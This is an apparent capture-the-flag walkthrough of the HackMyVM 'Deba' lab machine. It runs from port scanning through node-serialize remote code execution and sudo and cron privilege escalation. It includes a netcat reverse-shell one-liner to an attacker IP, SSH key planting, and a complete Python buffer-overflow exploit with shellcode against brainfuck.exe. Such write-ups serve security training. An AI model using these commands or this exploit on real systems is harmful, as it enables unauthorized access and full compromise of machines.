HackMyVm Deba Walkthrough
https://hackmyvm.eu/machines/machine.php?vm=Deba
Scan ports, found 22, 80 and 3000 are open.
# Nmap 7.91 scan initiated Fri May 14 08:30:51 2021 as: nmap -sV -sC -p- -oN ports.log 192.168.56.100
Nmap scan report for 192.168.56.100 (192.168.56.100)
Host is up (0.0012s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 22:e4:1e:f3:f6:82:7b:26:da:13:2f:01:f9:d5:0d:5b (RSA)
| 256 7b:09:3e:d4:a7:2d:92:01:9d:7d:7f:32:c1:fd:93:5b (ECDSA)
|_ 256 56:fd:3d:c2:19:fe:22:24:ca:2c:f8:07:90:1d:76:87 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Scan port 80, found nothing. Check port 3000, looks like a node.js site.
[image-20210524174309208.png]
Use the classic Node.JS - 'node-serialize' Remote Code Execution POC at: https://www.exploit-db.com/exploits/49552.
Get reverse shell as www-data. Check sudo.
www-data@debian:/home/low$ sudo -l
sudo -l
Matching Defaults entries for www-data on debian:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on debian:
(ALL : low) NOPASSWD: /usr/bin/python3 /home/low/scripts/script.py
Check files and content of /home/low/scripts, we have write permission of main.py.
www-data@debian:/home/low/scripts$ ls -la
ls -la
total 16
drwxr-xr-x 2 low low 4096 may 7 17:59 .
drwxr-xr-x 8 low low 4096 may 7 23:45 ..
-rwxr-xr-x 1 www-data www-data 88 may 7 10:57 main.py
-rw-r--r-- 1 low low 80 may 7 10:44 script.py
www-data@debian:/home/low/scripts$ cat script.py
cat script.py
import main
import os
print("\n")
os.system("ip a | grep enp0s3")
print("\n")
www-data@debian:/home/low/scripts$ cat main.py
cat main.py
from os import system as main
print("\n")
print("Just main")
main("whoami")
print("\n")
Modify main.py to get shell as user low.
echo 'import os;os.system("/bin/bash");' > main.py
sudo -u low python3 /home/low/scripts/script.py
low@debian:~/scripts$ id
id
uid=1001(low) gid=1001(low) grupos=1001(low)
Upload id_rsa.pub to get ssh access as user low.
wget http://192.168.56.150/id_rsa.pub -O authorized_keys
chmod 600 authorized_keys
After login as low, check pspy64. The user debian with id 1000 will run /home/debian/Documentos/backup/dissapeared.py each minute.
2021/05/14 05:31:02 CMD: UID=0 PID=2240 | /usr/sbin/CRON -f
2021/05/14 05:31:02 CMD: UID=1000 PID=2241 | /usr/bin/python3 /home/debian/Documentos/backup/dissapeared.py
Create the file and write shell code in it.
low@debian:/home/debian/Documentos/backup$ echo 'import os;os.system("nc 192.168.56.150 2234 -e /bin/bash");' > dissapeared.py
Get reverse shell as user debain.
nc -nlvp 2234
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::2234
Ncat: Listening on 0.0.0.0:2234
Ncat: Connection from 192.168.56.100.
Ncat: Connection from 192.168.56.100:45812.
id
uid=1000(debian) gid=1000(debian) grupos=1000(debian),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),114(lpadmin),115(scanner)
Spwan an interactive shell.
python3 -c 'import pty;pty.spawn("/bin/bash")'
Here, we can upload id_rsa.pub again, to get ssh login.
Check sudo again.
debian@debian:~$ sudo -l
Matching Defaults entries for debian on debian:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User debian may run the following commands on debian:
(ALL : root) NOPASSWD: /bin/wine /opt/Buffer-Overflow-Vulnerable-app/brainfuck.exe
Run brainfuck.exe, it will open port 9999 and receive user input.
image-20210524180541022.png
Dissassemble brainfuck.exe, the vulnerability is at get_reply function.
int __cdecl get_reply(char *Source)
{
size_t v1; // eax
char Destination[520]; // [esp+10h] [ebp-208h] BYREF
printf("[get_reply] s = [%s]\n", Source);
strcpy(Destination, Source);
v1 = strlen(Destination);
printf("[get_reply] copied %d bytes to buffer\n", v1);
return strcmp(Destination, "shitstorm\n");
}
The max length of user input string is 520, then 4 bytes for ebp, 4 bytes for return address. We can generate test string.
python3 -c "print('a'*520+'bbbb'+'cccc')" python3-0 | 1 [17:17:10]
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbcccc
Test it on windows, debug it with ollydbg, the return address is JUST overwrited by 'cccc'.
[image-20210524172438560.png]
Brainfuck.exe also has jmp esp instruction.
ropper --file brainfuck.exe --search 'jmp esp' fish-0 | 0 [17:21:23]
[INFO] Load gadgets for section: .text
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: jmp esp
[INFO] File: brainfuck.exe
0x311712f3: jmp esp;
Then we can make pwn code with class shell code.
#!/usr/bin/python3
import socket
target_ip='192.168.56.100'
target_port=9999
recv_buf=4096
junk = b'a' *520+b'bbbb'
ret_addr=b'\xf3\x12\x17\x31'
#the classic shellcode
shell_code = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80'
payload = b''
payload += junk
payload += ret_addr
payload +=shell_code
with socket.socket(socket.AF_INET,socket.SOCK_STREAM) as clientSock:
clientSock.connect((target_ip,target_port))
data_from_srv = clientSock.recv(recv_buf)
print(f"Reply --> {data_from_srv}")
print(f"Sending --> {payload}")
clientSock.sendall(payload)
Start brainfuck.exe with sudo, run exp.py at local machine, then we can get root shell.